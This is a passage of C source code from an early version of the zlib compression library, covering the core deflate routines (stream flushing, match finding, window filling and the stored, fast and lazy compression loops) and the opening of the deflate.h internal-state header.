	s->good_match       = configuration_table[level].good_length;

	s->nice_match       = configuration_table[level].nice_length;

	s->max_chain_length = configuration_table[level].max_chain;

    }

    s->strategy = strategy;

    return err;

}



/* =========================================================================

 * Put a short in the pending buffer. The 16-bit value is put in MSB order.

 * IN assertion: the stream state is correct and there is enough room in

 * pending_buf.

 */

local void putShortMSB (s, b)

    deflate_state *s;

    uInt b;

{

    put_byte(s, (Byte)(b >> 8));

    put_byte(s, (Byte)(b & 0xff));

}   



/* =========================================================================

 * Flush as much pending output as possible. All deflate() output goes

 * through this function so some applications may wish to modify it

 * to avoid allocating a large strm->next_out buffer and copying into it.

 * (See also read_buf()).

 */

local void flush_pending(strm)

    z_streamp strm;

{

    unsigned len = strm->state->pending;



    if (len > strm->avail_out) len = strm->avail_out;

    if (len == 0) return;



    zmemcpy(strm->next_out, strm->state->pending_out, len);

    strm->next_out  += len;

    strm->state->pending_out  += len;

    strm->total_out += len;

    strm->avail_out  -= len;

    strm->state->pending -= len;

    if (strm->state->pending == 0) {

        strm->state->pending_out = strm->state->pending_buf;

    }

}



/* ========================================================================= */

int ZEXPORT deflate (strm, flush)

    z_streamp strm;

    int flush;

{

    int old_flush; /* value of flush param for previous deflate call */

    deflate_state *s;



    if (strm == Z_NULL || strm->state == Z_NULL ||

	flush > Z_FINISH || flush < 0) {

        return Z_STREAM_ERROR;

    }

    s = strm->state;



    if (strm->next_out == Z_NULL ||

        (strm->next_in == Z_NULL && strm->avail_in != 0) ||

	(s->status == FINISH_STATE && flush != Z_FINISH)) {

        ERR_RETURN(strm, Z_STREAM_ERROR);

    }

    if (strm->avail_out == 0) ERR_RETURN(strm, Z_BUF_ERROR);



    s->strm = strm; /* just in case */

    old_flush = s->last_flush;

    s->last_flush = flush;



    /* Write the zlib header */

    if (s->status == INIT_STATE) {



        uInt header = (Z_DEFLATED + ((s->w_bits-8)<<4)) << 8;

        uInt level_flags = (s->level-1) >> 1;



        if (level_flags > 3) level_flags = 3;

        header |= (level_flags << 6);

	if (s->strstart != 0) header |= PRESET_DICT;

        header += 31 - (header % 31);



        s->status = BUSY_STATE;

        putShortMSB(s, header);



	/* Save the adler32 of the preset dictionary: */

	if (s->strstart != 0) {

	    putShortMSB(s, (uInt)(strm->adler >> 16));

	    putShortMSB(s, (uInt)(strm->adler & 0xffff));

	}

	strm->adler = 1L;

    }



    /* Flush as much pending output as possible */

    if (s->pending != 0) {

        flush_pending(strm);

        if (strm->avail_out == 0) {

	    /* Since avail_out is 0, deflate will be called again with

	     * more output space, but possibly with both pending and

	     * avail_in equal to zero. There won't be anything to do,

	     * but this is not an error situation so make sure we

	     * return OK instead of BUF_ERROR at next call of deflate:

             */

	    s->last_flush = -1;

	    return Z_OK;

	}



    /* Make sure there is something to do and avoid duplicate consecutive

     * flushes. For repeated and useless calls with Z_FINISH, we keep

     * returning Z_STREAM_END instead of Z_BUFF_ERROR.

     */

    } else if (strm->avail_in == 0 && flush <= old_flush &&

	       flush != Z_FINISH) {

        ERR_RETURN(strm, Z_BUF_ERROR);

    }



    /* User must not provide more input after the first FINISH: */

    if (s->status == FINISH_STATE && strm->avail_in != 0) {

        ERR_RETURN(strm, Z_BUF_ERROR);

    }



    /* Start a new block or continue the current one.

     */

    if (strm->avail_in != 0 || s->lookahead != 0 ||

        (flush != Z_NO_FLUSH && s->status != FINISH_STATE)) {

        block_state bstate;



	bstate = (*(configuration_table[s->level].func))(s, flush);



        if (bstate == finish_started || bstate == finish_done) {

            s->status = FINISH_STATE;

        }

        if (bstate == need_more || bstate == finish_started) {

	    if (strm->avail_out == 0) {

	        s->last_flush = -1; /* avoid BUF_ERROR next call, see above */

	    }

	    return Z_OK;

	    /* If flush != Z_NO_FLUSH && avail_out == 0, the next call

	     * of deflate should use the same flush parameter to make sure

	     * that the flush is complete. So we don't have to output an

	     * empty block here, this will be done at next call. This also

	     * ensures that for a very small output buffer, we emit at most

	     * one empty block.

	     */

	}

        if (bstate == block_done) {

            if (flush == Z_PARTIAL_FLUSH) {

                _tr_align(s);

            } else { /* FULL_FLUSH or SYNC_FLUSH */

                _tr_stored_block(s, (char*)0, 0L, 0);

                /* For a full flush, this empty block will be recognized

                 * as a special marker by inflate_sync().

                 */

                if (flush == Z_FULL_FLUSH) {

                    CLEAR_HASH(s);             /* forget history */

                }

            }

            flush_pending(strm);

	    if (strm->avail_out == 0) {

	      s->last_flush = -1; /* avoid BUF_ERROR at next call, see above */

	      return Z_OK;

	    }

        }

    }

    Assert(strm->avail_out > 0, "bug2");



    if (flush != Z_FINISH) return Z_OK;

    if (s->noheader) return Z_STREAM_END;



    /* Write the zlib trailer (adler32) */

    putShortMSB(s, (uInt)(strm->adler >> 16));

    putShortMSB(s, (uInt)(strm->adler & 0xffff));

    flush_pending(strm);

    /* If avail_out is zero, the application will call deflate again

     * to flush the rest.

     */

    s->noheader = -1; /* write the trailer only once! */

    return s->pending != 0 ? Z_OK : Z_STREAM_END;

}



/* ========================================================================= */

int ZEXPORT deflateEnd (strm)

    z_streamp strm;

{

    int status;



    if (strm == Z_NULL || strm->state == Z_NULL) return Z_STREAM_ERROR;



    status = strm->state->status;

    if (status != INIT_STATE && status != BUSY_STATE &&

	status != FINISH_STATE) {

      return Z_STREAM_ERROR;

    }



    /* Deallocate in reverse order of allocations: */

    TRY_FREE(strm, strm->state->pending_buf);

    TRY_FREE(strm, strm->state->head);

    TRY_FREE(strm, strm->state->prev);

    TRY_FREE(strm, strm->state->window);



    ZFREE(strm, strm->state);

    strm->state = Z_NULL;



    return status == BUSY_STATE ? Z_DATA_ERROR : Z_OK;

}



/* =========================================================================

 * Copy the source state to the destination state.

 * To simplify the source, this is not supported for 16-bit MSDOS (which

 * doesn't have enough memory anyway to duplicate compression states).

 */

int ZEXPORT deflateCopy (dest, source)

    z_streamp dest;

    z_streamp source;

{

#ifdef MAXSEG_64K

    return Z_STREAM_ERROR;

#else

    deflate_state *ds;

    deflate_state *ss;

    ushf *overlay;





    if (source == Z_NULL || dest == Z_NULL || source->state == Z_NULL) {

        return Z_STREAM_ERROR;

    }



    ss = source->state;



    *dest = *source;



    ds = (deflate_state *) ZALLOC(dest, 1, sizeof(deflate_state));

    if (ds == Z_NULL) return Z_MEM_ERROR;

    dest->state = (struct internal_state FAR *) ds;

    *ds = *ss;

    ds->strm = dest;



    ds->window = (Bytef *) ZALLOC(dest, ds->w_size, 2*sizeof(Byte));

    ds->prev   = (Posf *)  ZALLOC(dest, ds->w_size, sizeof(Pos));

    ds->head   = (Posf *)  ZALLOC(dest, ds->hash_size, sizeof(Pos));

    overlay = (ushf *) ZALLOC(dest, ds->lit_bufsize, sizeof(ush)+2);

    ds->pending_buf = (uchf *) overlay;



    if (ds->window == Z_NULL || ds->prev == Z_NULL || ds->head == Z_NULL ||

        ds->pending_buf == Z_NULL) {

        deflateEnd (dest);

        return Z_MEM_ERROR;

    }

    /* following zmemcpy do not work for 16-bit MSDOS */

    zmemcpy(ds->window, ss->window, ds->w_size * 2 * sizeof(Byte));

    zmemcpy(ds->prev, ss->prev, ds->w_size * sizeof(Pos));

    zmemcpy(ds->head, ss->head, ds->hash_size * sizeof(Pos));

    zmemcpy(ds->pending_buf, ss->pending_buf, (uInt)ds->pending_buf_size);



    ds->pending_out = ds->pending_buf + (ss->pending_out - ss->pending_buf);

    ds->d_buf = overlay + ds->lit_bufsize/sizeof(ush);

    ds->l_buf = ds->pending_buf + (1+sizeof(ush))*ds->lit_bufsize;



    ds->l_desc.dyn_tree = ds->dyn_ltree;

    ds->d_desc.dyn_tree = ds->dyn_dtree;

    ds->bl_desc.dyn_tree = ds->bl_tree;



    return Z_OK;

#endif

}



/* ===========================================================================

 * Read a new buffer from the current input stream, update the adler32

 * and total number of bytes read.  All deflate() input goes through

 * this function so some applications may wish to modify it to avoid

 * allocating a large strm->next_in buffer and copying from it.

 * (See also flush_pending()).

 */

local int read_buf(strm, buf, size)

    z_streamp strm;

    Bytef *buf;

    unsigned size;

{

    unsigned len = strm->avail_in;



    if (len > size) len = size;

    if (len == 0) return 0;



    strm->avail_in  -= len;



    if (!strm->state->noheader) {

        strm->adler = adler32(strm->adler, strm->next_in, len);

    }

    zmemcpy(buf, strm->next_in, len);

    strm->next_in  += len;

    strm->total_in += len;



    return (int)len;

}



/* ===========================================================================

 * Initialize the "longest match" routines for a new zlib stream

 */

local void lm_init (s)

    deflate_state *s;

{

    s->window_size = (ulg)2L*s->w_size;



    CLEAR_HASH(s);



    /* Set the default configuration parameters:

     */

    s->max_lazy_match   = configuration_table[s->level].max_lazy;

    s->good_match       = configuration_table[s->level].good_length;

    s->nice_match       = configuration_table[s->level].nice_length;

    s->max_chain_length = configuration_table[s->level].max_chain;



    s->strstart = 0;

    s->block_start = 0L;

    s->lookahead = 0;

    s->match_length = s->prev_length = MIN_MATCH-1;

    s->match_available = 0;

    s->ins_h = 0;

#ifdef ASMV

    match_init(); /* initialize the asm code */

#endif

}



/* ===========================================================================

 * Set match_start to the longest match starting at the given string and

 * return its length. Matches shorter or equal to prev_length are discarded,

 * in which case the result is equal to prev_length and match_start is

 * garbage.

 * IN assertions: cur_match is the head of the hash chain for the current

 *   string (strstart) and its distance is <= MAX_DIST, and prev_length >= 1

 * OUT assertion: the match length is not greater than s->lookahead.

 */

#ifndef ASMV

/* For 80x86 and 680x0, an optimized version will be provided in match.asm or

 * match.S. The code will be functionally equivalent.

 */

#ifndef FASTEST

local uInt longest_match(s, cur_match)

    deflate_state *s;

    IPos cur_match;                             /* current match */

{

    unsigned chain_length = s->max_chain_length;/* max hash chain length */

    register Bytef *scan = s->window + s->strstart; /* current string */

    register Bytef *match;                       /* matched string */

    register int len;                           /* length of current match */

    int best_len = s->prev_length;              /* best match length so far */

    int nice_match = s->nice_match;             /* stop if match long enough */

    IPos limit = s->strstart > (IPos)MAX_DIST(s) ?

        s->strstart - (IPos)MAX_DIST(s) : NIL;

    /* Stop when cur_match becomes <= limit. To simplify the code,

     * we prevent matches with the string of window index 0.

     */

    Posf *prev = s->prev;

    uInt wmask = s->w_mask;



#ifdef UNALIGNED_OK

    /* Compare two bytes at a time. Note: this is not always beneficial.

     * Try with and without -DUNALIGNED_OK to check.

     */

    register Bytef *strend = s->window + s->strstart + MAX_MATCH - 1;

    register ush scan_start = *(ushf*)scan;

    register ush scan_end   = *(ushf*)(scan+best_len-1);

#else

    register Bytef *strend = s->window + s->strstart + MAX_MATCH;

    register Byte scan_end1  = scan[best_len-1];

    register Byte scan_end   = scan[best_len];

#endif



    /* The code is optimized for HASH_BITS >= 8 and MAX_MATCH-2 multiple of 16.

     * It is easy to get rid of this optimization if necessary.

     */

    Assert(s->hash_bits >= 8 && MAX_MATCH == 258, "Code too clever");



    /* Do not waste too much time if we already have a good match: */

    if (s->prev_length >= s->good_match) {

        chain_length >>= 2;

    }

    /* Do not look for matches beyond the end of the input. This is necessary

     * to make deflate deterministic.

     */

    if ((uInt)nice_match > s->lookahead) nice_match = s->lookahead;



    Assert((ulg)s->strstart <= s->window_size-MIN_LOOKAHEAD, "need lookahead");



    do {

        Assert(cur_match < s->strstart, "no future");

        match = s->window + cur_match;



        /* Skip to next match if the match length cannot increase

         * or if the match length is less than 2:

         */

#if (defined(UNALIGNED_OK) && MAX_MATCH == 258)

        /* This code assumes sizeof(unsigned short) == 2. Do not use

         * UNALIGNED_OK if your compiler uses a different size.

         */

        if (*(ushf*)(match+best_len-1) != scan_end ||

            *(ushf*)match != scan_start) continue;



        /* It is not necessary to compare scan[2] and match[2] since they are

         * always equal when the other bytes match, given that the hash keys

         * are equal and that HASH_BITS >= 8. Compare 2 bytes at a time at

         * strstart+3, +5, ... up to strstart+257. We check for insufficient

         * lookahead only every 4th comparison; the 128th check will be made

         * at strstart+257. If MAX_MATCH-2 is not a multiple of 8, it is

         * necessary to put more guard bytes at the end of the window, or

         * to check more often for insufficient lookahead.

         */

        Assert(scan[2] == match[2], "scan[2]?");

        scan++, match++;

        do {

        } while (*(ushf*)(scan+=2) == *(ushf*)(match+=2) &&

                 *(ushf*)(scan+=2) == *(ushf*)(match+=2) &&

                 *(ushf*)(scan+=2) == *(ushf*)(match+=2) &&

                 *(ushf*)(scan+=2) == *(ushf*)(match+=2) &&

                 scan < strend);

        /* The funny "do {}" generates better code on most compilers */



        /* Here, scan <= window+strstart+257 */

        Assert(scan <= s->window+(unsigned)(s->window_size-1), "wild scan");

        if (*scan == *match) scan++;



        len = (MAX_MATCH - 1) - (int)(strend-scan);

        scan = strend - (MAX_MATCH-1);



#else /* UNALIGNED_OK */



        if (match[best_len]   != scan_end  ||

            match[best_len-1] != scan_end1 ||

            *match            != *scan     ||

            *++match          != scan[1])      continue;



        /* The check at best_len-1 can be removed because it will be made

         * again later. (This heuristic is not always a win.)

         * It is not necessary to compare scan[2] and match[2] since they

         * are always equal when the other bytes match, given that

         * the hash keys are equal and that HASH_BITS >= 8.

         */

        scan += 2, match++;

        Assert(*scan == *match, "match[2]?");



        /* We check for insufficient lookahead only every 8th comparison;

         * the 256th check will be made at strstart+258.

         */

        do {

        } while (*++scan == *++match && *++scan == *++match &&

                 *++scan == *++match && *++scan == *++match &&

                 *++scan == *++match && *++scan == *++match &&

                 *++scan == *++match && *++scan == *++match &&

                 scan < strend);



        Assert(scan <= s->window+(unsigned)(s->window_size-1), "wild scan");



        len = MAX_MATCH - (int)(strend - scan);

        scan = strend - MAX_MATCH;



#endif /* UNALIGNED_OK */



        if (len > best_len) {

            s->match_start = cur_match;

            best_len = len;

            if (len >= nice_match) break;

#ifdef UNALIGNED_OK

            scan_end = *(ushf*)(scan+best_len-1);

#else

            scan_end1  = scan[best_len-1];

            scan_end   = scan[best_len];

#endif

        }

    } while ((cur_match = prev[cur_match & wmask]) > limit

             && --chain_length != 0);



    if ((uInt)best_len <= s->lookahead) return (uInt)best_len;

    return s->lookahead;

}



#else /* FASTEST */

/* ---------------------------------------------------------------------------

 * Optimized version for level == 1 only

 */

local uInt longest_match(s, cur_match)

    deflate_state *s;

    IPos cur_match;                             /* current match */

{

    register Bytef *scan = s->window + s->strstart; /* current string */

    register Bytef *match;                       /* matched string */

    register int len;                           /* length of current match */

    register Bytef *strend = s->window + s->strstart + MAX_MATCH;



    /* The code is optimized for HASH_BITS >= 8 and MAX_MATCH-2 multiple of 16.

     * It is easy to get rid of this optimization if necessary.

     */

    Assert(s->hash_bits >= 8 && MAX_MATCH == 258, "Code too clever");



    Assert((ulg)s->strstart <= s->window_size-MIN_LOOKAHEAD, "need lookahead");



    Assert(cur_match < s->strstart, "no future");



    match = s->window + cur_match;



    /* Return failure if the match length is less than 2:

     */

    if (match[0] != scan[0] || match[1] != scan[1]) return MIN_MATCH-1;



    /* The check at best_len-1 can be removed because it will be made

     * again later. (This heuristic is not always a win.)

     * It is not necessary to compare scan[2] and match[2] since they

     * are always equal when the other bytes match, given that

     * the hash keys are equal and that HASH_BITS >= 8.

     */

    scan += 2, match += 2;

    Assert(*scan == *match, "match[2]?");



    /* We check for insufficient lookahead only every 8th comparison;

     * the 256th check will be made at strstart+258.

     */

    do {

    } while (*++scan == *++match && *++scan == *++match &&

	     *++scan == *++match && *++scan == *++match &&

	     *++scan == *++match && *++scan == *++match &&

	     *++scan == *++match && *++scan == *++match &&

	     scan < strend);



    Assert(scan <= s->window+(unsigned)(s->window_size-1), "wild scan");



    len = MAX_MATCH - (int)(strend - scan);



    if (len < MIN_MATCH) return MIN_MATCH - 1;



    s->match_start = cur_match;

    return len <= s->lookahead ? len : s->lookahead;

}

#endif /* FASTEST */

#endif /* ASMV */



#ifdef DEBUG

/* ===========================================================================

 * Check that the match at match_start is indeed a match.

 */

local void check_match(s, start, match, length)

    deflate_state *s;

    IPos start, match;

    int length;

{

    /* check that the match is indeed a match */

    if (zmemcmp(s->window + match,

                s->window + start, length) != EQUAL) {

        fprintf(stderr, " start %u, match %u, length %d\n",

		start, match, length);

        do {

	    fprintf(stderr, "%c%c", s->window[match++], s->window[start++]);

	} while (--length != 0);

        z_error("invalid match");

    }

    if (z_verbose > 1) {

        fprintf(stderr,"\\[%d,%d]", start-match, length);

        do { putc(s->window[start++], stderr); } while (--length != 0);

    }

}

#else

#  define check_match(s, start, match, length)

#endif



/* ===========================================================================

 * Fill the window when the lookahead becomes insufficient.

 * Updates strstart and lookahead.

 *

 * IN assertion: lookahead < MIN_LOOKAHEAD

 * OUT assertions: strstart <= window_size-MIN_LOOKAHEAD

 *    At least one byte has been read, or avail_in == 0; reads are

 *    performed for at least two bytes (required for the zip translate_eol

 *    option -- not supported here).

 */

local void fill_window(s)

    deflate_state *s;

{

    register unsigned n, m;

    register Posf *p;

    unsigned more;    /* Amount of free space at the end of the window. */

    uInt wsize = s->w_size;



    do {

        more = (unsigned)(s->window_size -(ulg)s->lookahead -(ulg)s->strstart);



        /* Deal with !@#$% 64K limit: */

        if (more == 0 && s->strstart == 0 && s->lookahead == 0) {

            more = wsize;



        } else if (more == (unsigned)(-1)) {

            /* Very unlikely, but possible on 16 bit machine if strstart == 0

             * and lookahead == 1 (input done one byte at time)

             */

            more--;



        /* If the window is almost full and there is insufficient lookahead,

         * move the upper half to the lower one to make room in the upper half.

         */

        } else if (s->strstart >= wsize+MAX_DIST(s)) {



            zmemcpy(s->window, s->window+wsize, (unsigned)wsize);

            s->match_start -= wsize;

            s->strstart    -= wsize; /* we now have strstart >= MAX_DIST */

            s->block_start -= (long) wsize;



            /* Slide the hash table (could be avoided with 32 bit values

               at the expense of memory usage). We slide even when level == 0

               to keep the hash table consistent if we switch back to level > 0

               later. (Using level 0 permanently is not an optimal usage of

               zlib, so we don't care about this pathological case.)

             */

	    n = s->hash_size;

	    p = &s->head[n];

	    do {

		m = *--p;

		*p = (Pos)(m >= wsize ? m-wsize : NIL);

	    } while (--n);



	    n = wsize;

#ifndef FASTEST

	    p = &s->prev[n];

	    do {

		m = *--p;

		*p = (Pos)(m >= wsize ? m-wsize : NIL);

		/* If n is not on any hash chain, prev[n] is garbage but

		 * its value will never be used.

		 */

	    } while (--n);

#endif

            more += wsize;

        }

        if (s->strm->avail_in == 0) return;



        /* If there was no sliding:

         *    strstart <= WSIZE+MAX_DIST-1 && lookahead <= MIN_LOOKAHEAD - 1 &&

         *    more == window_size - lookahead - strstart

         * => more >= window_size - (MIN_LOOKAHEAD-1 + WSIZE + MAX_DIST-1)

         * => more >= window_size - 2*WSIZE + 2

         * In the BIG_MEM or MMAP case (not yet supported),

         *   window_size == input_size + MIN_LOOKAHEAD  &&

         *   strstart + s->lookahead <= input_size => more >= MIN_LOOKAHEAD.

         * Otherwise, window_size == 2*WSIZE so more >= 2.

         * If there was sliding, more >= WSIZE. So in all cases, more >= 2.

         */

        Assert(more >= 2, "more < 2");



        n = read_buf(s->strm, s->window + s->strstart + s->lookahead, more);

        s->lookahead += n;



        /* Initialize the hash value now that we have some input: */

        if (s->lookahead >= MIN_MATCH) {

            s->ins_h = s->window[s->strstart];

            UPDATE_HASH(s, s->ins_h, s->window[s->strstart+1]);

#if MIN_MATCH != 3

            Call UPDATE_HASH() MIN_MATCH-3 more times

#endif

        }

        /* If the whole input has less than MIN_MATCH bytes, ins_h is garbage,

         * but this is not important since only literal bytes will be emitted.

         */



    } while (s->lookahead < MIN_LOOKAHEAD && s->strm->avail_in != 0);

}



/* ===========================================================================

 * Flush the current block, with given end-of-file flag.

 * IN assertion: strstart is set to the end of the current match.

 */

#define FLUSH_BLOCK_ONLY(s, eof) { \

   _tr_flush_block(s, (s->block_start >= 0L ? \

                   (charf *)&s->window[(unsigned)s->block_start] : \

                   (charf *)Z_NULL), \

		(ulg)((long)s->strstart - s->block_start), \

		(eof)); \

   s->block_start = s->strstart; \

   flush_pending(s->strm); \

   Tracev((stderr,"[FLUSH]")); \

}



/* Same but force premature exit if necessary. */

#define FLUSH_BLOCK(s, eof) { \

   FLUSH_BLOCK_ONLY(s, eof); \

   if (s->strm->avail_out == 0) return (eof) ? finish_started : need_more; \

}



/* ===========================================================================

 * Copy without compression as much as possible from the input stream, return

 * the current block state.

 * This function does not insert new strings in the dictionary since

 * uncompressible data is probably not useful. This function is used

 * only for the level=0 compression option.

 * NOTE: this function should be optimized to avoid extra copying from

 * window to pending_buf.

 */

local block_state deflate_stored(s, flush)

    deflate_state *s;

    int flush;

{

    /* Stored blocks are limited to 0xffff bytes, pending_buf is limited

     * to pending_buf_size, and each stored block has a 5 byte header:

     */

    ulg max_block_size = 0xffff;

    ulg max_start;



    if (max_block_size > s->pending_buf_size - 5) {

        max_block_size = s->pending_buf_size - 5;

    }



    /* Copy as much as possible from input to output: */

    for (;;) {

        /* Fill the window as much as possible: */

        if (s->lookahead <= 1) {



            Assert(s->strstart < s->w_size+MAX_DIST(s) ||

		   s->block_start >= (long)s->w_size, "slide too late");



            fill_window(s);

            if (s->lookahead == 0 && flush == Z_NO_FLUSH) return need_more;



            if (s->lookahead == 0) break; /* flush the current block */

        }

	Assert(s->block_start >= 0L, "block gone");



	s->strstart += s->lookahead;

	s->lookahead = 0;



	/* Emit a stored block if pending_buf will be full: */

 	max_start = s->block_start + max_block_size;

        if (s->strstart == 0 || (ulg)s->strstart >= max_start) {

	    /* strstart == 0 is possible when wraparound on 16-bit machine */

	    s->lookahead = (uInt)(s->strstart - max_start);

	    s->strstart = (uInt)max_start;

            FLUSH_BLOCK(s, 0);

	}

	/* Flush if we may have to slide, otherwise block_start may become

         * negative and the data will be gone:

         */

        if (s->strstart - (uInt)s->block_start >= MAX_DIST(s)) {

            FLUSH_BLOCK(s, 0);

	}

    }

    FLUSH_BLOCK(s, flush == Z_FINISH);

    return flush == Z_FINISH ? finish_done : block_done;

}



/* ===========================================================================

 * Compress as much as possible from the input stream, return the current

 * block state.

 * This function does not perform lazy evaluation of matches and inserts

 * new strings in the dictionary only for unmatched strings or for short

 * matches. It is used only for the fast compression options.

 */

local block_state deflate_fast(s, flush)

    deflate_state *s;

    int flush;

{

    IPos hash_head = NIL; /* head of the hash chain */

    int bflush;           /* set if current block must be flushed */



    for (;;) {

        /* Make sure that we always have enough lookahead, except

         * at the end of the input file. We need MAX_MATCH bytes

         * for the next match, plus MIN_MATCH bytes to insert the

         * string following the next match.

         */

        if (s->lookahead < MIN_LOOKAHEAD) {

            fill_window(s);

            if (s->lookahead < MIN_LOOKAHEAD && flush == Z_NO_FLUSH) {

	        return need_more;

	    }

            if (s->lookahead == 0) break; /* flush the current block */

        }



        /* Insert the string window[strstart .. strstart+2] in the

         * dictionary, and set hash_head to the head of the hash chain:

         */

        if (s->lookahead >= MIN_MATCH) {

            INSERT_STRING(s, s->strstart, hash_head);

        }



        /* Find the longest match, discarding those <= prev_length.

         * At this point we have always match_length < MIN_MATCH

         */

        if (hash_head != NIL && s->strstart - hash_head <= MAX_DIST(s)) {

            /* To simplify the code, we prevent matches with the string

             * of window index 0 (in particular we have to avoid a match

             * of the string with itself at the start of the input file).

             */

            if (s->strategy != Z_HUFFMAN_ONLY) {

                s->match_length = longest_match (s, hash_head);

            }

            /* longest_match() sets match_start */

        }

        if (s->match_length >= MIN_MATCH) {

            check_match(s, s->strstart, s->match_start, s->match_length);



            _tr_tally_dist(s, s->strstart - s->match_start,

                           s->match_length - MIN_MATCH, bflush);



            s->lookahead -= s->match_length;



            /* Insert new strings in the hash table only if the match length

             * is not too large. This saves time but degrades compression.

             */

#ifndef FASTEST

            if (s->match_length <= s->max_insert_length &&

                s->lookahead >= MIN_MATCH) {

                s->match_length--; /* string at strstart already in hash table */

                do {

                    s->strstart++;

                    INSERT_STRING(s, s->strstart, hash_head);

                    /* strstart never exceeds WSIZE-MAX_MATCH, so there are

                     * always MIN_MATCH bytes ahead.

                     */

                } while (--s->match_length != 0);

                s->strstart++; 

            } else

#endif

	    {

                s->strstart += s->match_length;

                s->match_length = 0;

                s->ins_h = s->window[s->strstart];

                UPDATE_HASH(s, s->ins_h, s->window[s->strstart+1]);

#if MIN_MATCH != 3

                Call UPDATE_HASH() MIN_MATCH-3 more times

#endif

                /* If lookahead < MIN_MATCH, ins_h is garbage, but it does not

                 * matter since it will be recomputed at next deflate call.

                 */

            }

        } else {

            /* No match, output a literal byte */

            Tracevv((stderr,"%c", s->window[s->strstart]));

            _tr_tally_lit (s, s->window[s->strstart], bflush);

            s->lookahead--;

            s->strstart++; 

        }

        if (bflush) FLUSH_BLOCK(s, 0);

    }

    FLUSH_BLOCK(s, flush == Z_FINISH);

    return flush == Z_FINISH ? finish_done : block_done;

}



/* ===========================================================================

 * Same as above, but achieves better compression. We use a lazy

 * evaluation for matches: a match is finally adopted only if there is

 * no better match at the next window position.

 */

local block_state deflate_slow(s, flush)

    deflate_state *s;

    int flush;

{

    IPos hash_head = NIL;    /* head of hash chain */

    int bflush;              /* set if current block must be flushed */



    /* Process the input block. */

    for (;;) {

        /* Make sure that we always have enough lookahead, except

         * at the end of the input file. We need MAX_MATCH bytes

         * for the next match, plus MIN_MATCH bytes to insert the

         * string following the next match.

         */

        if (s->lookahead < MIN_LOOKAHEAD) {

            fill_window(s);

            if (s->lookahead < MIN_LOOKAHEAD && flush == Z_NO_FLUSH) {

	        return need_more;

	    }

            if (s->lookahead == 0) break; /* flush the current block */

        }



        /* Insert the string window[strstart .. strstart+2] in the

         * dictionary, and set hash_head to the head of the hash chain:

         */

        if (s->lookahead >= MIN_MATCH) {

            INSERT_STRING(s, s->strstart, hash_head);

        }



        /* Find the longest match, discarding those <= prev_length.

         */

        s->prev_length = s->match_length, s->prev_match = s->match_start;

        s->match_length = MIN_MATCH-1;



        if (hash_head != NIL && s->prev_length < s->max_lazy_match &&

            s->strstart - hash_head <= MAX_DIST(s)) {

            /* To simplify the code, we prevent matches with the string

             * of window index 0 (in particular we have to avoid a match

             * of the string with itself at the start of the input file).

             */

            if (s->strategy != Z_HUFFMAN_ONLY) {

                s->match_length = longest_match (s, hash_head);

            }

            /* longest_match() sets match_start */



            if (s->match_length <= 5 && (s->strategy == Z_FILTERED ||

                 (s->match_length == MIN_MATCH &&

                  s->strstart - s->match_start > TOO_FAR))) {



                /* If prev_match is also MIN_MATCH, match_start is garbage

                 * but we will ignore the current match anyway.

                 */

                s->match_length = MIN_MATCH-1;

            }

        }

        /* If there was a match at the previous step and the current

         * match is not better, output the previous match:

         */

        if (s->prev_length >= MIN_MATCH && s->match_length <= s->prev_length) {

            uInt max_insert = s->strstart + s->lookahead - MIN_MATCH;

            /* Do not insert strings in hash table beyond this. */



            check_match(s, s->strstart-1, s->prev_match, s->prev_length);



            _tr_tally_dist(s, s->strstart -1 - s->prev_match,

			   s->prev_length - MIN_MATCH, bflush);



            /* Insert in hash table all strings up to the end of the match.

             * strstart-1 and strstart are already inserted. If there is not

             * enough lookahead, the last two strings are not inserted in

             * the hash table.

             */

            s->lookahead -= s->prev_length-1;

            s->prev_length -= 2;

            do {

                if (++s->strstart <= max_insert) {

                    INSERT_STRING(s, s->strstart, hash_head);

                }

            } while (--s->prev_length != 0);

            s->match_available = 0;

            s->match_length = MIN_MATCH-1;

            s->strstart++;



            if (bflush) FLUSH_BLOCK(s, 0);



        } else if (s->match_available) {

            /* If there was no match at the previous position, output a

             * single literal. If there was a match but the current match

             * is longer, truncate the previous match to a single literal.

             */

            Tracevv((stderr,"%c", s->window[s->strstart-1]));

	    _tr_tally_lit(s, s->window[s->strstart-1], bflush);

	    if (bflush) {

                FLUSH_BLOCK_ONLY(s, 0);

            }

            s->strstart++;

            s->lookahead--;

            if (s->strm->avail_out == 0) return need_more;

        } else {

            /* There is no previous match to compare with, wait for

             * the next step to decide.

             */

            s->match_available = 1;

            s->strstart++;

            s->lookahead--;

        }

    }

    Assert (flush != Z_NO_FLUSH, "no flush?");

    if (s->match_available) {

        Tracevv((stderr,"%c", s->window[s->strstart-1]));

        _tr_tally_lit(s, s->window[s->strstart-1], bflush);

        s->match_available = 0;

    }

    FLUSH_BLOCK(s, flush == Z_FINISH);

    return flush == Z_FINISH ? finish_done : block_done;

}









源码/Zip/deflate.h

/* deflate.h -- internal compression state

 * Copyright (C) 1995-2002 Jean-loup Gailly

 * For conditions of distribution and use, see copyright notice in zlib.h 

 */



/* WARNING: this file should *not* be used by applications. It is

   part of the implementation of the compression library and is

   subject to change. Applications should only use zlib.h.

 */



/* @(#) $Id$ */



#ifndef _DEFLATE_H

#define _DEFLATE_H



#include "zutil.h"



/* ===========================================================================

 * Internal compression state.

 */



#define LENGTH_CODES 29

/* number of length codes, not counting the special END_BLOCK code */



#define LITERALS  256

/* number of literal bytes 0..255 */



#define L_CODES (LITERALS+1+LENGTH_CODES)

/* number of Literal or Length codes, including the END_BLOCK code */



#define D_CODES   30

/* number of distance codes */



#define BL_CODES  19

/* number of codes used to transfer the bit lengths */



#define HEAP_SIZE (2*L_CODES+1)

/* maximum heap size */



#define MAX_BITS 15

/* All codes must not exceed MAX_BITS bits */



#define INIT_STATE    42

#define BUSY_STATE   113

#define FINISH_STATE 666

/* Stream status */





/* Data structure describing a single value and its code string. */

typedef struct ct_data_s {

    union {

        ush  freq;       /* frequency count */

        ush  code;       /* bit string */

    } fc;

    union {

        ush  dad;        /* father node in Huffman tree */

        ush  len;        /* length of bit string */

    } dl;

} FAR ct_data;



#define Freq fc.freq

#define Code fc.code

#define Dad  dl.dad

#define Len  dl.len



typedef struct static_tree_desc_s  static_tree_desc;



typedef struct tree_desc_s {

    ct_data *dyn_tree;           /* the dynamic tree */

    int     max_code;            /* largest code with non zero frequency */

    static_tree_desc *stat_desc; /* the corresponding static tree */

} FAR tree_desc;



typedef ush Pos;

typedef Pos FAR Posf;

typedef unsigned IPos;



/* A Pos is an index in the character window. We use short instead of int to

 * save space in the various tables. IPos is used only for parameter passing.

 */



typedef struct internal_state {

    z_streamp strm;      /* pointer back to this zlib stream */
